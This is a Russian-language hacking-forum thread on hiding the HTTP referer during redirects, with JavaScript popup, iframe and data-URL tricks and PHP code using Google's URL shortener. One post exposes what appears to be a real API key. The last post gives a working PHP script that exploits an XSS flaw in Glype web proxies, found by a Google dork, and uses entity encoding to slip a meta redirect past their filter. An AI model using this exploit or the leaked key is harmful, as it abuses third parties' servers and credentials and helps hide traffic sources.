• XSS.stack #1 – первый литературный журнал от юзеров форума

Скрыть реферер при редиректе

Quake3

TPU unit
Забанен
Регистрация
03.11.2010
Сообщения
4 529
Решения
4
Реакции
5 305
Депозит
0.046
Пожалуйста, обратите внимание, что пользователь заблокирован
Недавно в какой-то теме (вроде на экспе) нашел, что вебмастерам иногда надо редирект без реферера. Давайте обсудим разные способы редиректа пользователей, с реферером и без, в общем, как можно перенаправить юзера куда-нибудь, в основном касается методов на стороне клиента. Т.е. всяческие php header(), htaccess и так далее думаю, мало кому интересны.

Из того, что я нагуглил, практически идеальное (и кросс-браузерное) решение, это popup (про них где-то упоминал Aels, и вообще, многие веб-мастера в инете советуют юзать поп-апы). Т.е. код вида

Код:
function go(url) 
{ 
  w = window.open('about:blank','blank'); 
  w.document.write('<meta http-equiv="refresh" content="0;url='+url+'">'); 
  w.document.close(); 
  return false; 
}

Минусы способа - всплывающие окна давно уже режутся всеми браузерами, поэтому надо привязывать функцию к клику (что не особо хороший вариант, как угадать, что юзер кликнет на нужной ссылке/кнопке)? К слову, почему-то на событие mousemove функция у меня не сработала как надо, окно создалось, но инфа в него не записалась (редирект), почему хз (в яваскрипт я не силен, знаю на уровне чтения).

Еще вроде неплохой вариант с ифреймом
Код:
<iframe src="javascript:parent.location='тут_линк'" style="visibility:hidden">
</iframe>
но работает далеко не во всех браузерах (реферер пропал в ие и хроме, но остался в фф, опере).

К слову, на всех форумах обсуждения, что могут победить оперу - этот браузер передает редирект при любых условиях.

И еще - по всплывающим окнам. У меня была мысль потестить библиотеки типа extjs, jquery - там же есть компоненты (или как там их) всплывающих окон, которые (пока) браузерами не лочатся. Минус - не факт что удастся подгрузить юзеру целую библиотеку через ифрейм, это все таки не 2-3 строчки кода.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Quake3
ня.
Те "всплывающие окна", что в гуи-либах - это вовсе не новые табы, а просто слои, стилизованные в окошки. Это не то совсем.

Редирект через через <meta http-equiv="refresh" content="0;url='http://blabla.com'"> убирает редик везде кроме оперы (читай - Presto). Эта проблема исчезнет с переходом оперы на веб-кит.

Все "серверные" методы в итоге выражаются в отсылке браузеру Location-хедера, при котором реф, конечно же, передается.

При создании новой вкладки методом window.open, идеологически, реферер должен удалятся по тому, что "родителя", у окна нету. Где-то это даже было отражено в rfc, но кто их читает)

А решением твоей проблемы будет срезание реферера, при прогоне через https://-линк.
Если покупать серт для домена - геморно, то можно воспользоваться, например, сокращалкой ссылок goo.gl от гугла.
Дело в том, что при "понижении контекста безопасности" (переходе на нешифрованное соединение), по стандарту положено не передавать реферер. И, к счастью, браузеры этим не пренебрегают.

Goo.gl дает апи с квотой ~5ссылок\минута, и если этих лимитов не хватает, то можно получить ключик (бесплатно) с ~10кк в сутки.

Кодес выглядит примерно так: (выдрал со своего ротатора)
Код:
function short($url) {

	if( !function_exists('curl_init') || !function_exists('curl_exec')) die("cUrl is not available in you PHP server.");
	$ch = curl_init();
	/*~~ key is for 62.*.*/23 only! Get new on https://code.google.com/apis/console/#project:106284249****:access ~~*/
	curl_setopt($ch, CURLOPT_URL, 'https://www.googleapis.com/urlshortener/v1/url?key=AIzaSyBilLDL6JKW4uzmGGG19jPXbG-yLbb6UEE');
	curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
	curl_setopt($ch, CURLOPT_USERAGENT, 'not matter');
	curl_setopt($ch, CURLOPT_TIMEOUT, 5);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_POST, 1);
	curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
	curl_setopt($ch, CURLOPT_POSTFIELDS, '{"longUrl": "'.$url.'"}');
	$content = json_decode(curl_exec($ch), true);
	curl_close($ch);

	return $content['id'];
}
Если апи-ключ получать лень, то просто удали параметр key из адреса апишки.
Сокращенный адрес из шортнера придет с http, замени протокол на https, и суй линк куда нравится - в ифрейм, мету, хидеры.

так вот)
 
Самое надежное - редиректить на промежуточный адрес с протоколом https://, а оттуда - на нужный адрес через джаваскрипт или meta refresh

Остальные варианты не везде работают. Опера особенно в этом смысле проблематична.
 
В опере
window.open("data:application/internet-shortcut,[INTERNETSHORTCUT]%0D%0AURL=http://url_here");


в ff и chrome
location = 'data:text/html,<html><meta http-equiv="content-type" content="text/html; charset=UTF-8"><meta http-equiv="refresh" content="0; url=http://url_here"></html>'

но лучший вариант это да... с https -> http
 
Пожалуйста, обратите внимание, что пользователь заблокирован
"последняя опера" на вебките, а не на престе. Для нее работает все то, что работает для хрома - то есть просто <meta refresh...> уже не передает реф.
Для этого не обязательно проталкивать через data-урл.

malayazemlya @пост не читай @сразу отвечай

AHTOLLlKA, без прогона через data-урл работает и в ие. Этого, в принципе, достаточно.
 
Cкриптец, скрывающий реферер через метод редиректа c HTTPS. Для этого используется xss в популярном анонимайзере Glype. Поиск гуглем: inurl:"https://" "Powered by Glype".

http://mysite.com/redir.php
Код:
<?php

$GLYPE = "https://www.nkac.pl/"; // анонимайзер с  https
// собственно скрипт, на который слать запрос
$GLYPE_URL = $GLYPE . "includes/process.php?action=update";
// абсолютный адрес нашего скрипта 
$SELF="http://mysite.com/redir.php";

function encode($str) {
 $out = '';
 for($i = 0, $len = strlen($str); $i < $len; $i++) {
   $out .= "&#".ord($str[$i]).";";
 }
 return $out;
}

if (empty($_GET['to'])) {
  // введем адрес через форму
  echo <<<HTML
<form action='' method='get'>
<input type='url' name='to' />
<input type='submit' value='Go'/>
</form>
HTML;
  exit;
}
$to = $_GET['to'];
// проверяем адрес на корректность
preg_match('#^http://[^\s\x22\x27]+$#is', $to) || die("Invalid URL");

$go = empty($_GET['go']) ? '' : $_GET['go'];

if (!$go) { 
// часть первая
  $next_url = $SELF."?to=".rawurlencode($to)."&go=meta";
  $action = htmlentities($GLYPE_URL);
  $u = htmlentities($next_url);
  echo <<<HTML
<form action='$action' method='post'>
<input type='hidden' name='u' value='$u' />
</form>
<script>
document.forms[0].submit();
</script>
HTML;
  exit;
} else if ($go == 'meta') {
  // часть вторая
  // кодируем для обхода фильтров в glype
  $content = encode(" 0; URL = '$to' ");
  echo "<meta http-equiv='refresh' content='$content' />";
  exit;
}
?>

Использование
http://mysite.com/redir.php?to=http%3A%2F%2Fwhatismyreferer.com%2F

Принцип работы
Первая часть скрипта просит анонимайзер скачать, обработать и нарисовать страницу, сгенеренную второй частью. Если все сработает, то анонимизированная версия страницы будет находится на домене анонимайзера и иметь протокол https

Во второй части через xss протаскиваем в выдачу нефильтрованный meta-редирект. В результате браузер упрыгивает с анонимайзера на требуемый сайт, а реферер стирается, поскольку идем с https-адреса на http-адрес

Способ должен работать в любом браузере. По крайней мере, покуда не пофиксят все xss в Glype (что маловероятно, ибо их там пруд пруди :tease: ) Как видим, оно даже не знает, что в атрибутах разрешается применять мнемоники вроде &#nn; :huh1:

PS если интересно, обработка meta редиректов в glype выглядит так (см includes/parser.php)
Код:
# Proxy url= values in meta redirects
$input = preg_replace_callback('#content\s*=\s*(["\\\'])?[0-9]+\s*;\s*url=([\\\'"]|&\#39;)?((?(?<=")[^"]+|(?(?<=\\\')[^\\\']+|[^\\\'" >]+)))(?(2)\\2|)(?(1)\\1|)#i', 'html_metaRefresh', $input, 1);
:pioneer:
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх